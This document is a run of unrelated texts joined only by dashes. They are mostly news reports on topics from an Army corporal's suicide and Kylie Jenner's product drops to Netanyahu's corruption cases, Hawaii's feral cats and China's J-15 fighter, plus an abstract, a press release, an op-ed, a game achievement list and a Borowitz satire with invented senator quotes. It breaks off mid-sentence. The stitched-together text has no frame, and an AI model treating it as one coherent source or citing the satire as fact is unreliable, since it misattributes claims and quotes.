Ellement's dream had been to become a soldier and follow her father and grandfather into the Army, her mother said.  Image caption Alexandra Barritt said her daughter had dreamed of becoming a soldier  She joined the military police, but after making the rape allegations she said her life began to fall apart.  After an investigation the Independent Service Prosecuting Authority decided no charges should be brought.  But according to Ms Barritt, a bullying campaign began after she was posted to Bulford Camp in Wiltshire with some of that taking place on the internet.  In an email to a friend Cpl Ellement wrote: "Hardly anyone is talking to me. Like I'd make up something that is this bad, destroying my career, and losing all my friends."  She was found hanged at the camp on 9 October.  In March an inquest in Salisbury recorded a verdict of suicide.  An MoD spokesperson told the BBC that "the inappropriate use of social media was not highlighted as a significant contributory factor" during the police investigation into her death.  Ms Barritt said she hoped her daughter's death would not be in vain.  "I feel there should be more support for female soldiers who make allegations of sexual misconduct by fellow soldiers.  "She was bright, vibrant, she had a very generous, kind heart, she always put other people before herself, loved children, loved animals and had many plans for the future.  "Each member of the family is devastated because Anne-Marie was a much loved daughter, sister and aunt."
-[See more Year in Style articles]  Over the last 13 months, the youngest member of the Kardashian/Jenner clan has built a business empire for herself, with an estimated $10 million in personal earnings from sales of branded merchandise, which ranges from Kylie Lip Kits (pairs of matte liquid lipstick and lip liner that retail for $29) to Kyshadows and Kyliners (eye shadows and eye liners) in a multitude of colors and themes. She offers them exclusively on her own website in limited time frames for as long as stocks last.  Appetites are stoked to near fever pitch by video clips of Ms. Jenner applying the cosmetics or giving tutorials using them. Those clips are posted to Snapchat, with hints dropped on Twitter or Instagram as to when these products may be available. Although no one knows exactly how many followers she has, a spokesman for Snapchat said in August that Ms. Jenner was the most followed person on the platform. So when the latest batch of new stock does go live on her website, all products are sold, on average, in less than a minute. Then the process begins again.  Ms. Jenner is part of a growing cohort of both individuals and brands that have embraced the sales strategy known as the “drop.” It works like this: A seller controls the release of exclusive new items outside the traditional fashion cycle, cleverly marketing the impending arrival of the product to build demand. Pioneered almost two decades ago by the American skate wear brand Supreme, which took its cues from the Japanese street wear scene, the trend has gained particular momentum in recent years thanks to its adoption by some in the booming limited-edition sneaker industry: Kanye West’s Yeezy line with Adidas, for example, and Nike’s Air Jordans. It is also at the heart of the limited-edition designer collaborations championed by retailers like H&M and Target. Even Snapchat itself tried to jump on the bandwagon last month when it began exclusive sales of its new Spectacles glasses via randomly placed bright yellow vending machines, giving no indication of where they would crop up next. The overwhelming majority of drop customers, whatever the product, are younger than 30.
-Protests by the Black Lives Matter chapter at the College of William & Mary successfully shut down a talk by an American Civil Liberties Union representative on Wednesday.  Claire Guthrie Gastañaga, executive director of the ACLU in Virginia, was due to discuss the First Amendment, but was shouted down shortly after she began speaking.  Students holding signs lined up in front of the stage where Gastañaga was speaking, chanting “ACLU, you protect Hitler, too,” “ACLU, free speech for who?” and “the oppressed are not impressed.”  The protest was filmed and posted to the William & Mary Black Lives Matter Facebook page.  “In contrast to the ACLU, we want to reaffirm our position of zero tolerance for white supremacy no matter what form it decides to masquerade in,” the post reads.  A representative from Black Lives Matter spoke a little more than 20 minutes into the demonstration, accusing the ACLU’s of “hiding” behind the rhetoric of free speech to defend white supremacists.  This is a reference to the ACLU backing a white nationalist’s lawsuit against the city of Charlottesville, Va., where a bloody rally took place in August and resulted in a woman’s death.  William & Mary President Taylor Reveley released a statement:
-The student group Fossil Free Penn held a discussion on environmental racism as part of its weeklong engagement project called “Divestfest” Wednesday afternoon.  About a dozen students participated in the event, detailing how the negative impacts of industries disproportionately affect minorities. The speakers at the event, who will remain anonymous, hailed from two student groups on campus: Students for Justice in Palestine and the United Minorities Council.  "If we are talking about environmental justice, we have to consider intersectionality."  The message of the presentation was threefold. The first student argued that while “the impacts of climate change and fossil fuels are devastating for all communities, the effects are worse on marginalized communities,” specifically people of color and low-income communities. The second presenter discussed the eco-colonialism that occurred under the British rule of India and the millions of deaths it caused. And the third wanted to “show through the post-colonial theory how we can problematize the idea of forestation in different contexts—how we can use this to show how intersectionality can affect human rights as well as the ecosystem and how it can serve the neocolonialist propaganda.”  In discussing environmental racism, the speakers highlighted the Israel-Palestine conflict. The Jewish National Fund, an organization that plants trees in Israel, was a major subject of discussion. After asserting that the organization acted unjustly by purchasing land from Palestinians in the early 1900s in deals from which the Palestinians did not profit, the presenters looked into the symbolism of “making the desert bloom,” a phrase the students argued connected the forest environment to whiteness, evoked the notion of “a vacuum that the European savior can come nourish,” and ultimately incentivized “artificially making these areas look more like Europe.”  The students found a particular problem in the planting of pine trees in Israel and the West Bank, drawing a “connection between pine trees, forestation, and the way they further the colonialist agenda through capitalistic [sic] means of timber production.”  While pine trees are an invasive species and can be bad for certain environments, the solution is not merely to plant native trees like the olive tree.  “If we are talking about environmental justice, we have to consider intersectionality,” one of the presenters said. “We have to consider the way that different environmental agendas are being used in order to romanticize and support things that may be in violation of human rights and ancestry rights.” Additionally, the students urged the audience to “look for the complexity in the way that issues are whitewashed.”  The presentation also detailed the current water access situation in Palestine and Israel. To show the discrimination of the Israeli government, the students cited statistics that revealed a daily average water consumption per capita of 73 liters for West Bank Palestinians in comparison to 369 liters for Israelis.  The indictment of Israel continued as more statistics were given regarding the government’s distribution of water. “During negotiations [with Palestine] they decided on a set amount to give to Palestinians, but that number hasn’t been raised even though the population is increasing, temperatures are rising,” one student explained.  “During the negotiations they said they would decide on the final number in the final round of negotiations, but the final round of negotiations hasn’t happened… The question is why some groups are allowed to have pools in the middle of the desert and some aren’t.”  The students mentioned how environmental racism has occurred in the United States as well. They explained that 58% of people living near oil train tracks in Philadelphia are people of color, so “the placement of these oil trains specifically cut through minority neighborhoods.”  The presenters urged that the companies begin “thinking critically about where they are placing the train tracks… even though that might be more economically expensive.” They also talked about the placement of a landfill in Chester, PA, a city with a population that is 90% African-American, and contended that “the placement of that itself raises a lot of questions, and this is emblematic of landfill problems across the United States… as landfills tend to be placed in communities of color.”  Fossil Free Penn is a student group whose mission is convince the university to divest its endowment away from the fossil fuel industry by organizing students in a way that cannot be ignored. This week’s Divestfest program culminated in a silent protest of a Board of Trustees meeting on Friday morning at 11:00.  This article was originally published in The Statesman, a conservative student newspaper affiliated with the Leadership Institute's Campus Leadership Program. Its articles are republished on Campus Reform with permission.  Follow The Statesman on Twitter: @StatesmanofPenn
-Human mate preferences are related to many morphological traits, such as female waist-to-hip ratio (WHR), body mass index (BMI), male height or facial symmetry. People also vary in preferences for sexual dimorphism in stature (SDS = male height/female height) between themselves and a potential partner. Here, we demonstrate that women adjust their preference for SDS not only in relation to their own height but also in relation to (1) the phase of menstrual cycle during which their preferences were studied and (2) the sexual strategy (short- versus long-term) they were asked to choose. Taller males (larger SDS) were preferred more often when women were in the follicular (i.e. fertile) phase of their menstrual cycle and when the partners were chosen for short-term relationships. These effects were independent of woman's height. The results show that women in a potentially fertile phase of their menstrual cycle and when choosing a partner who might be less likely to invest in children select genes of taller males.
-YouNow embraces blockchain tech, opens PROPS Ecosystem to decentralized storage  YouNow, the global video platform that pioneered mobile live streaming, today announced a partnership with Storj Labs, the leading decentralized cloud storage provider, to further align the PROPS by YouNow ecosystem with the decentralized community. YouNow recently announced the PROPS Ecosystem, a group of media applications powered by a new cryptocurrency, PROPS. Storj will provide decentralized cloud storage services for terabytes of video files generated from YouNow’s 40 million registered users.  YouNow joins the droves of data-rich organizations engaging with alternative storage solutions to further secure valuable data. Storj, a solution that encrypts, shreds, and distributes data shards across a global network of nodes, will provide an additional layer of security for PROPS content. Storj’s vast decentralized network deters security breaches, ensuring PROPS and YouNow users are able to safely engage in an elevated live streaming and content sharing experience.  YouNow CEO Adi Sideman said, “Our partnership with Storj marks the commencement of our path to decentralize as much of the PROPS technology stack as practically makes sense, provided good performance, scalability needs and costs efficiencies are superior. We expect a long-term partnership between our mass market blockchain-powered platforms, PROPS and Storj.”  “One of the biggest benefits to decentralization is it empowers users by giving them control of the content and data they create, which is at the heart of YouNow’s mission,” said John Quinn, Storj Labs co-founder, and chief revenue officer. “YouNow is a true innovator and breakthrough pioneer in the live streaming revolution; their unique technology will take the mobile video experience to another level and we look forward to supporting them in their adoption of blockchain technology.”  Developers, including Storj’s own community, will be able to share in the launch and population of the PROPS ecosystem by building apps on PROPS. This partnership signals YouNow’s commitment to providing a secure and decentralized canvas for custom use cases by leveraging the Storj network’s inherent security benefits over legacy solutions. The first application hosted on the PROPS Ecosystem, Rize, will elevate the mobile video experience and be available for download upon Token Distribution to the public.  For more information, please visit PROPSProject.com and to learn more about Storj Labs, see storj.io.  About YouNow:  YouNow is a live social network that enables audiences and creators to connect in real time and is devoted to the unlimited potential of human creativity. The interactive entertainment platform has over 40 million registered users and 60,000 transactions per day in its digital goods economy. YouNow is committed to creating a community that is a safe place where people can meet, get together and connect. YouNow is backed by Union Square Ventures, Venrock, Ze’ev Ventures and Comcast Ventures.  About PROPS:  The PROPS Ecosystem, governed by a non-profit foundation, is built on the mission of creating a decentralized model for digital media that uses blockchain technology to fairly reward the contributors that power the network. PROPS will be hosted on the Ethereum blockchain and serve as the base utility token for applications within the ecosystem, granting users access to features and content, ability to promote content and signal status within the community, among other uses. Third party application developers, content creators, publishers, and end-users will be incentivized to participate in the Ecosystem by earning PROPS.  About Storj:  Storj Labs provides decentralized cloud storage and gives users more control over their devices and data providing an open-source cloud platform: Storj. The company aims to become the largest, most innovative, cost-effective, and high-performance cloud storage provider by utilizing spare hard drive space provided by its community members.
-At a summer school, organised a few weeks ago by the Alliance of Civilizations, which brought together over 170 young people, from 70 countries, all participants were invited to summarise the week's experience in one word. Everyone was ecstatic and used sparkling words - a once in a lifetime feeling; love; hope; unique; accomplishment; peace and the like. One participant, showing a little more reserve than the rest in that euphoric atmosphere, chose the word "possibility", a statement that has resonated quite dramatically in recent events which show how right her caution was.  The indignation that has flared up in so many countries against a provocative video, produced in murky circumstances and aimed at offending one group's religious beliefs, is legitimate and fully understandable. No believer, be they Muslim, Christian, Jewish, to mention only the religions of the Book - is ready to accept indecent attacks on matters they hold sacred. All citizens should have the right not to be gratuitously offended in their religious feelings and aspire to be protected against such indecent attacks. But as a right, it should be claimed in a lawful, peaceful way within the bounds of the law.  At the same time, while we hold this right, it is important to recognise that one person's contemptible actions do not represent an entire nation, or everyone in a particular group or of a certain faith. Here, I must emphasise the crucial responsibility that falls on political and religious leaders to speak out to their constituencies, urging them to be mindful of this fact.  Anti-islam video sparks debate on censorship  Apart from all this, what is entirely a separate matter and must be seen as such, is the legitimate manifestation of anger being instrumentalised by extremists to foment mob violence for their own political ends. In my view, the brutal killings in Benghazi had little to do with the release of the video. The perpetrators of this vicious terrorist attack have to be brought into justice as the Libyan authorities promptly pointed out. But in the same way that extremists do not represent all Libyans, the makers of the offending video don't represent America, all Americans, or all Christians. In my mind, it is necessary for those of us in the middle - the overwhelming majority - to take back the conversation from the extremes and occupy our rightful place in it.  Another concerning fact is that there seems to be a primordial angst that is all too easily exploited when events like this happen. The air is ripe, for those so inclined, to take advantage of popular sentiments, rouse people and encourage violence to strengthen their positions of power. While this brings me back to my earlier point about responsible leadership, it also highlights the need to do deep thinking about the persistent tensions between the East and the West; about the bad relations between Muslim and Western publics with both sides holding negative stereotypes of the other; and how a tremendous level of hostility and animosity is ever present that needs only the slightest prodding to explode. It is ultimately an indication about how much the Alliance of Civilizations is a timely and rightful UN initiative, but is also a painful reminder to me that our work at the Alliance is far from done.  We must redouble our efforts to bridge cultural divides, promote cross-cultural understanding, trust and mutual respect among and within societies, at all levels - international, regional, national and local - and fields of action - from education to youth and media.  In democratic societies and increasingly all over the world, people are free to voice their rights. Let's join all our voices and work together to address in an appropriate way the alarming rise of extremism, religious hatred and hate speech, all of which undermine people's expectations of a better life in dignity, freedom and security. We need to be bold and take action urgently to turn the possibility of living together in diversity, dialogue, respect and peace into reality.  Jorge Sampaio is the United Nations High Representative for the Alliance of Civilizations, and the former president of Portugal.
-WASHINGTON (The Borowitz Report)—Saying “Enough is enough,” Republican senators on Friday angrily accused their constituents of “intentionally and opportunistically” using recent town-hall meetings as vehicles to express themselves.  One of the angriest Republicans, Senator Tom Cotton, of Arkansas, said he was “disgusted and offended” by the “flagrant exercise of freedom of speech” he witnessed at his town hall.  “The spectacle of people standing up, asking their elected representatives questions, and expecting them to answer is the most disgraceful thing I’ve ever experienced,” Cotton said. “This will not stand.”  Cotton accused “outside agitators” of sending voters to the town halls “to cynically exploit an obscure provision in the Constitution called the First Amendment.”  “I’m not a conspiracy theorist, but isn’t it a little suspicious that, in town hall after town hall, all these voters were so well-versed in one tiny sentence in the Constitution?” he said. “It doesn’t pass the smell test.”  While Cotton said that he would consider participating in future town halls, he warned that some modifications to the town-hall format were necessary, such as banning voters from the events.  “We need to send a strong message to these people,” he said. “A town-hall meeting is not a time for everyone in town to come to a hall and meet.”
-JERUSALEM -- Prime Minister Benjamin Netanyahu is suspected of crimes involving fraud, breach of trust and bribes in two corruption cases, Israeli police revealed Thursday.  Police have been questioning Netanyahu for months over the cases but have released few details. A gag order was released Thursday night on reporting the details of talks that are underway to enlist a state witness.  The document says the cases involving Netanyahu deal with "a suspicion of committing crimes of bribery, fraud and breach of trust."  On Friday, police said Netanyahu's former chief of staff and onetime close confidant agreed to testify against him.  Trump pushes for new partnership in Middle East  The police said in a statement that Ari Harow will serve six months of community service and pay a fine of 700,000 Shekels (about $193,000) for his involvement in a separate corruption case, apparently a lighter-than-expected sentence in exchange for his testimony.  Netanyahu's office has repeatedly denied wrongdoing over the investigations, portraying the accusations as a witch hunt against him and his family by a hostile media opposed to his hard-line political views.  A statement from his office Thursday night said, "We completely reject the unfounded claims against the prime minister." It said the allegations are part of a campaign to "replace the government" and "there will be nothing, because there was nothing."  In a video posted to Facebook Friday, he refered to the news as "the inevitable scandal of the week," according to the Reuters news agency.  "I would like to tell you, citizens of Israel, that I do not heed background noises," he said. "I continue to work for you."  One investigation, dubbed "File 1000," reportedly concerns claims that Netanyahu improperly accepted lavish gifts from wealthy supporters, including Australian billionaire James Packer and Hollywood producer Arnon Milchan.  The second investigation, "File 2000," reportedly concerns Netanyahu's alleged attempts to strike a deal with publisher Arnon Mozes of the Yediot Ahronot newspaper group to promote legislation to weaken Yediot's main competitor in exchange for more favorable coverage of him by Yediot.  The U.S.-born Harow has been under investigation for the past two years for fraud and other crimes regarding the sale of his consulting company while working as chief of staff, according to media reports.  Police reportedly have a copy of a recording made by Harow of a 2014 conversation between Netanyahu and the publisher.  After eight years in office, in addition to an earlier term in the 1990s, Netanyahu has garnered an image as a cigar-puffing, cognac-drinking socialite who is as comfortable rubbing shoulders with international celebrities as he is making deals in parliament. His wife, Sara, has been accused of abusive behavior toward staff.  Scandals have long dogged the couple over their lavish tastes and opponents have portrayed both as being out of touch with the struggles of average Israelis.
-Critics call new rule to deal with Hawaii's feral cat population inhumane Copyright by KHON - All rights reserved Video  The state's Department of Land and Natural Resources says feral cats pose risks to public health and wildlife, and they're all over boat harbors and facilities.  The Division of Boating and Ocean Recreation came up with a drastic rule change that authorizes the state to destroy feral cats or dogs by any means necessary.  The Hawaii Board of Land and Natural Resources approved the rule change Friday that includes:  "(Page 50-51) Any dog, cat, or other domestic pet, while being a stray within a small boat harbor, may be seized by officers and employees of the department, or by any other person authorized by law, and shall be disposed of as provided in chapter 183D-65, Hawaii Revised Statutes."  That chapter specifies:  §183D-65 Posting; destruction of predators. (a) On any game management area, public hunting area, or forest reserve or other lands under the jurisdiction of the department, predators deemed harmful to wildlife by the department may be destroyed by any means deemed necessary by the department. (b) Where the predators are dogs and the methods of destruction may endanger pets or hunting dogs, all major points of entrance into the area where the predators are to be destroyed shall be posted with signs indicating that a program of predator destruction in the area is in progress. Any predator may be destroyed in a posted area without claim or penalty whether or not the predator is the property of some person.  The rule is meant to fix the issue of stray animals at boat harbors and facilities, but the wording has animal groups alarmed.  The Humane Society of the United States and the non-profit group Alley Cat Allies fear that gives the state authority to shoot and kill animals.  "I don't know if that's their plan, but these rules give them that authority, and that's a very dangerous thing," said Bryan Kortis with the Humane Society of the United States.  "We're deeply concerned that they are using the most dramatic approach that won't be effective and the majority of the people in Hawaii oppose," added John White, who represents Alley Cats Allies.  After hours of public testimony, state officials passed the rule amendment, but on one condition. It won't go into effect until January 2019, which gives the state a chance to work with animal advocates to track, neuter, and release feral cats out of boat harbors.  "At least they're not going to go out tomorrow and start shooting cats, but they haven't come up with a solution yet. Hopefully now they'll talk to us a bit and we'll try to find something that will work," said Kortis.  When asked his response to those opposing the rule change, DOBOR administrator Edward Underwood said, "We did not want to have to put down feral cats. We've worked, reached out to the humane society on several occasions, to work with us on this issue. Hopefully now this will bring them back to the table, to relocate them outside of the harbor. We're not set up to destroy animals. None of our staff wants to do that either."  "But is that a possibility?" KHON2 asked.  "Well not until 2019. Hopefully what will happen is, we get together, come up with a plan and a better area to relocate these areas where they can control the intake, and they're not in the small boat harbors," Underwood replied.  The state also passed a rule amendment where no one can feed or add to the existing cat colonies at the boat harbors, something officials say added to the feral cat problem.  The new changes now head to Gov. David Ige's desk for his signature.
-A number of recent reports in Chinese state-run media indicate that the country’s carrier-based J-15 multirole fighter jets have entered mass production.  The Shenyang J-15 (also called Flying Shark) is China’s carrier-based fighter aircraft. It was reversed engineered from a Russian Sukhoi Su-33 that China acquired from Ukraine, although it reportedly is equipped with some indigenous weapons, avionics and other features that Beijing claims greatly enhances its capabilities. The J-15 is also powered by the Chinese-built Taihang (WS-10) turbofan engine.  A J-15 prototype conducted its first flight test in August 2009. In November last year it was announced that a PLA Air Force (PLAAF) pilot conducted the first take-off and landing from China’s aircraft carrier, Liaoning, using one of the J-15 tester jets. Throughout 2013 the PLAAF has continued holding take-off and landing exercises using the J-15 aircraft.  The People’s Daily Online carried a couple of reports this week on the J-15. Most of them begin by noting that “many keen military observers” have noted that the J-15s that have appeared on CCTV as of late have been painted gray with a People’s Republic of China flag on them, in contrast to the initial five J-15s that were painted yellow and were therefore marked as being intended solely for testing and development. The reports then note that the new paint job has led these “keen military observers” to speculate that the J-15 fighters have entered mass production.  One of the reports then asks Yin Zhuo, which it identifies only as a military analyst but who is also a former Rear Admiral in the PLA Navy (PLAN), to comment on this speculation. Admiral Yin begins by affirming that there has not been an official announcement yet on whether the J-15s have entered mass production, but nonetheless judges that the “navy paint finish on the J-15 indicates that it is now in formal service.”  He is then quoted as that online speculation about whether the aircraft has entered into mass production is “logical based on the facts that J-15 is already in service, and its technology is mature enough for mass production.” The rest of the article is devoted to Admiral Yin discussing what the implications will be if the J-15s have entered mass production, including the aircraft’s service life, which he estimates at 25-30 years.  “Once mass production is under way,” the People’s Daily paraphrases Admiral Yin as saying, “the aircraft design will be fixed other than in terms of possible changes to radar and electronic communication systems, or modernization of the engine after 10 to 15 years of service. However, the profile, basic finish, and performance standards of the aircraft have been established.”  Although hardly conclusive, the reports strongly suggest that mass production of the J-15 has begun, or at least that the Communist Party wants to create that impression.  Notably, the reports coincide with the Commander of PLAN, Admiral Wu Shengli, visiting the United States. The commander of the Liaoning carrier and the pilot who first landed on the carrier last November are accompanying Admiral Wu on the trip, according to Reuters.  “We have around 36 airplanes operating on board our ship,” Captain Zhang Zheng, the Liaoning commander told reporters in Washington this week, referring to aircraft carrier. “And we are still practicing and doing tests and experiments for the equipment and systems.”  Admiral Wu, on the other hand, told reporters that the Liaoning is just for training and experimentation and after a “final evaluation” the PLAN will decide on the development of a new aircraft carrier for the service.  Meanwhile, one of the other J-15 articles that appeared on the People’s Daily website compared it favorably relative to other countries’ carrier-based aircraft. Indeed, Admiral Yin, who was also quoted in that article, is paraphrased as saying that the J-15 “reaches a similar level to the U.S. F/A-18C/D Super Hornet” and is superior in terms of its air combat capability.  However, Want China Times flags a Xinhua report that quotes Sun Cong, the J-15s designer, noting that currently the aircraft cannot launch attacks against ships and ground targets when taking off from the Liaoning. That is because the aircraft carrier utilizes a ski-jump ramp and the J-15 would be too heavy to take off if it was carrying air-to-surface missiles and bombs. Thus, until the Navy acquires a Catapult-Assisted Take-Off But Arrested-Recovery (CATOBAR) carrier, the J-15, which is a multirole fighter, will be limited primarily to air superiority operations (and ship defense).  Notably, one of the People’s Daily reports observed that the J-15’s “front wheel is suitable for catapult launch similar to the carrier-based fighter of the U.S. Navy. The catapult launch was taken into consideration at the beginning of its design.”  In that context, Admiral Wu’s comments seem very interesting indeed.
-Gone Home  Completed the game.  39.0%  Rare 60.60%  Common  Letters to Katie  Completed the game having found all 23 of Sam's journal entries.  5.7%  Very Rare 23.47%  Uncommon  Meow Meow Meow  Found Mitten's secret diary.  6.2%  Very Rare 25.47%  Uncommon  Homerunner  Completed the game in less than 1 minute with no Modifiers enabled. (From New Game in a single session only)  3.5%  Ultra Rare 19.10%  Rare  Speedreader  Completed the game having found all 24 journal entries, with no Modifiers enabled, in less than 10 minutes. (From New Game in a single session only)  2.8%  Ultra Rare 16.87%  Rare  Behind the Scenes  Activated all Commentary Nodes with the Developer Commentary Modifier enabled.  3.3%  Ultra Rare 18.45%  Rare  Nesting Instinct  Returned Christmas Duck to his rightful place.  6.7%  Very Rare 27.17%  Uncommon  Wet Bandit  Turn on every faucet in the house at once.  5.6%  Very Rare 24.92%  Uncommon  Intuitive  Guess the combination to Oscar's safe before finding the code.  14.0%  Very Rare 32.35%  Uncommon
-Jones has been retweeting her harassers, but Twitter doesn't seem to be doing anything about it.  Despite the public’s largely positive response to Ghostbusters, it seems as though some bearded internet trolls still want to make their distaste for the all-female reboot heard. One of the main targets has been Leslie Jones, the only woman of colour in the main cast, and this abuse has taken a very racist turn. For the last 24 hours, Jones has been tweeting a fraction of the racist bullshit she has been sent in the last week.  I just don’t understand pic.twitter.com/N9xWoXPttu — Leslie Jones (@Lesdoggg) July 18, 2016  Exposing I hope y’all go after them like they going after me pic.twitter.com/ojK5FdIA0H — Leslie Jones (@Lesdoggg) July 18, 2016  Yep so sad these people have mothers and sisters and aunts. So fucking sickening pic.twitter.com/fEVLEgUfGh — Leslie Jones (@Lesdoggg) July 18, 2016  Ok I have been called Apes, sent pics of their asses,even got a pic with semen on my face. I’m tryin to figure out what human means. I’m out — Leslie Jones (@Lesdoggg) July 18, 2016  Twitter I understand you got free speech I get it. But there has to be some guidelines when you let spread like that. You can see on the — Leslie Jones (@Lesdoggg) July 19, 2016  Profiles that some of these people are crazy sick. It’s not enough to freeze Acct. They should be reported. — Leslie Jones (@Lesdoggg) July 19, 2016  I don’t know how to feel. I’m numb. Actually numb. I see the words and pics and videos. Videos y’all. Meaning people took time to sprew hate — Leslie Jones (@Lesdoggg) July 19, 2016  So far, Twitter has done nothing (apparently social media platforms only react to abuse when its against white millionaires) and so fans have taken it into their own hands. Today many users are pushing the hashtag #LoveForLeslieJ to outnumber the racist trolls that are filling up her mentions. Ghostbusters director Paul Feig, has also tweeted his support.  Leslie Jones is one of the greatest people I know. Any personal attacks against her are attacks against us all. #LoveForLeslieJ @Lesdoggg — Paul Feig (@paulfeig) July 18, 2016  Stand with @Lesdoggg #loveforlesliej she is an inspiration and a legend in the making pic.twitter.com/dqotlPAETd — Margaret Cho (@margaretcho) July 18, 2016  I am proud of @Lesdoggg for being an inspiration to little black girls the same way she was inspired by those before her. #LoveforLeslieJ — T’Challa Back Girl (@MarissaRei1) July 18, 2016  You can see how much representation matters by how angry it makes the people who don’t want to see you represented. #LoveforLeslieJ — @red3blog (@red3blog) July 19, 2016  HI THERE @Lesdoggg is the epitome of talent and badassery. She makes me want to work hard so I can be as good at my own job. #LoveForLeslieJ — Anne T. Donahue (@annetdonahue) July 19, 2016  If you need a break from the relentless hate for a second, please enjoy this nice video of Leslie Jones crying when she meets Whoopi Goldberg, and remember that representation is important and internet bigots cannot take that away.
-This is a landmark year for Afghanistan. After more than a decade of war, the country is set to transition into a new era, one it hopes will be less turbulent and will offer the beleaguered nation peace, stability and growth. Over the coming year, Afghanistan is scheduled to undergo a political transition, courtesy the presidential elections due in April, and a security transition (already underway), with the full withdrawal of international combat troops by the end of this year.  While the political process is underway and is seen as more of an internal decision for the Afghan people to make, the security transition holds the key to a secure future for Afghanistan. Critical to this is the Bilateral Security Agreement (BSA) with the U.S. Although the BSA has been finalized and was even cleared by a loya jirga (an assembly of elders) in Afghanistan last November, President Hamid Karzai has not been willing to sign it, much to the frustration of Washington, which warns that a “zero option” could have adverse consequences for Afghanistan’s security post 2014. With the current impasse unlikely to be broken soon, Karzai is looking at “Plan B” options. In this context, Iran and India may have a role to play. Given their strategic interests in Afghanistan as well as trends over the past months, these two countries could well offer Afghanistan a critical lifeline during a period of transition and uncertainty.  Events in recent months indicate to three clear policy strands. First, Karzai is unwilling to sign the BSA soon (at least until the April presidential elections) and is looking for bigger bargains. Second, visits by Karzai and his ministers to Iran and India in recent months are clearly aimed at shoring up support in a situation where U.S. military support may not be forthcoming. And third Karzai is now hedging his bets when it comes to direct talks with the Taliban given the absence of any clear initiative by the U.S. In all of these initiatives, India and Iran could be key players.  Take Karzai’s trips to India and Iran in December last year. Both visits came after the BSA was passed by a loya jirga and, interestingly, shortly after Iran and the U.S.-led P5+1 had signed an interim deal on the Iran nuclear issue. While in Iran, Karzai found support when President Hassan Rouhani declared, “We are concerned about the tensions arising from the presence of foreign forces in the region and believe that all foreign forces should exit the region and Afghanistan’s security should be ceded to the people of that country.” Coming from Iran at that juncture, it was a major show of support for Karzai. The two countries also agreed to sign a “pact of friendship and cooperation,” which could include aspects of political, security cooperation and economic development. This would complement a separate border and security agreement signed earlier in August.  Karzai’s visit to India immediately after this, on December 13, was aimed not only at consolidating support but also at pleading for increased military assistance. In his previous visit to New Delhi in May 2013, he had handed over a wish list of lethal and non-lethal military aid from India that included artillery guns, helicopters and armored tanks. In his December trip, he not only reiterated his requests but is reported to have asked India for a more proactive involvement in getting the Afghanistan National Security Forces (ANSF) ready to take on the Taliban post 2014. India confirmed its commitment to deepening defense and security cooperation, through enhancements in training, meeting the equipment and infrastructure needs of ANSF and opportunities for higher military education in India for Afghan officers. While emphasizing the need to sign the BSA, India refrained from putting any overt pressure on Karzai, stating that it shared his wish to have the BSA, but will not be “prescriptive, intrusive or judgmental.”  While Iran and India have always been potential alternatives for Afghanistan, it is only in the past few months that Kabul seems to have been getting traction on this option. The Iran nuclear deal has perhaps unshackled some of the constraints India may have felt seeking Iran’s support in finding an optimal solution for Afghanistan. The meeting of Indian National Security Adviser Shivshankar Menon with Iran’s Foreign Minister Javad Zarif on February 1 at the Munich Conference to discuss recent developments in Afghanistan was significant. Discussion centered on India-Iran cooperation in dealing with the situation in Afghanistan, especially in the context of the rift between Washington and Karzai. Iranian President Rouhani is likely to dispatch the secretary of Iran’s Supreme National Security Council, Ali Shamkhani, to Delhi soon to discuss the issue. Reports of direct talks between Karzai and the Taliban have also evoked a positive response in India, leading to the likelihood of India’s foreign minister vising Kabul in March 2014. With India as its most trusted ally and an “all-weather friend” and Iran as an immediate neighbor and part of its political and cultural history, Afghanistan is clearly working on a simultaneous plan to secure its post-2014 future, with or without a BSA with the U.S. With their strategic interests and cordial relations with Kabul, India and Iran will be critical to a peaceful transition for Afghanistan post 2014 and could well be that country’s Plan B.  Rajeev Agarwal is a Research Fellow at IDSA, New Delhi. His specializations include West Asia and Afghanistan.
-Why TVB needs to refocus on the basics  Television Broadcasts Ltd. (TVB), Hong Kong’s largest free-to-air television station, has often come under fire over falling editorial standards and quality and its apparent pro-establishment stance.  The broadcaster has failed to serve Hong Kong people well despite its dominant position in the market, critics say, accusing the station of focusing more on staying on the right side of Beijing.  Well, the critics now have some fresh ammunition to lob at the broadcaster, whose history goes back to almost 50 years.  In a major goof-up Sunday, TVB used a wrong flag to depict China in a documentary about the nation’s battle with Japan in World War Two.  In a special feature aired on the weekly show Sunday Report, TVB wrongly used the 5-stars People’s Republic of China flag to represent China during the war time between 1937 and 1945.  In reality, the flag didn’t exist at that time as it was the military force led by the Nationalists or Kuomintang that was at the frontline in the fight against Japanese troops in China during the period.  If a flag had to be depicted, it had to be that of the Republic of China — used by the Nationalists who spearheaded a victory against Japan in 1945.  The 5-stars flag was adopted as the national flag of China only in 1949 when Communist Party took the reins of power in 1949 after a long civil war.  After viewers pointed out the error and slammed the TV station for distorting history, TVB corrected the graphic and also issued an apology.  It said it was “deeply sorry” for the mistake in the special program that was aired to commemorate the 70th anniversary of Japan’s defeat in World War Two.  But that hasn’t stopped the public from questioning how TVB staff goofed up in the first place.  The station was perhaps too eager to show the ruling Communist Party in Beijing as the savior of China in the battle against Imperial Japan, observers remarked, suggesting a Freudian slip.  TVB was justified in airing a World War II documentary as China is preparing for a V-Day military parade in Beijing next month, but how did the editorial bosses let slip the embarrassing blunder on the flag, netizens asked.  TVB did not give an explanation but made amends quickly after internet forums were abuzz with chatter that the TV station had misinterpreted history.  Some viewers even filed formal complaints to the Office of the Communications Authority, Hong Kong’s media industry watchdog, that TVB had provided wrong information to viewers.  The regulator is said to have received more than 600 complaints on the matter.  Late Monday, TVB issued a public apology for the mistake and posted a corrected version of the graphic, with the Republic of China flag, in the relevant scene in the online archive.  The TV station indicated that the slip-up was an unintentional error, but the damage has been done.  The latest incident will only add to concerns about TVB’s editorial direction.  In recent months, the station has increasingly been accused of slanting its coverage on all aspects of news, ranging from people’s livelihood issues to political news.  The broadcaster tends to instinctively strike a pro-establishment stance and support the ruling authorities in Hong Kong and Beijing, while labeling opposition parties as a source of instability for Hong Kong.  The station is also accused of toning down controversial livelihood issues in Hong Kong, pointing out that people in the city live much better lives compared to others in most parts of the world.  Few weeks ago, TVB news ran a story on water supply issues in the developing world.  In the program, a commentary ran like this: “In Hong Kong, people are complaining about lead contamination, while more than 70 percent of the world population cannot access drinking water.”  Some viewers interpreted the comments as sending a hidden message to locals — ‘don’t complain, you are much better off than all those without clean water to drink.”  In online forums, netizens slammed TVB, saying the station appears to have taken upon itself the task of maintaining social harmony under the order of Beijing authorities.  TVB has been undergoing some changes since the 1997 handover, with mixed results.  What it needs to ensure now is to quell the 